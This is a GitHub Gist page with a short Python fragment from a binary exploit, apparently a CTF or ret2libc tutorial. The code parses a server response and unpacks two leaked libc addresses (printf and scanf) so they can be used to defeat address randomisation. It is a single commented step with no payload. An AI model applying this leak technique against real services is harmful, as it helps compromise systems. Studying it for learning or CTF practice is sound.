Created
April 14, 2020 00:48
-
-
Save ShivamShrirao/2ec33016f687f65659f43cbf491db202 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
leaks = resp.split(b"received.")[1] | |
printf_libc = u64(leaks[:6].ljust(8,b'\x00')) # first 6 bytes are printf address. Pad with '\x00' to unpack. | |
scanf_libc = u64(leaks[6:12].ljust(8,b'\x00')) # next 6 bytes are __isoc99_scanf address. Pad with '\x00' to unpack. | |
print("[*] Leaked libc printf:\t\t",hex(printf_libc)) # Print in hex format. | |
print("[*] Leaked libc __isoc99_scanf:\t",hex(scanf_libc)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment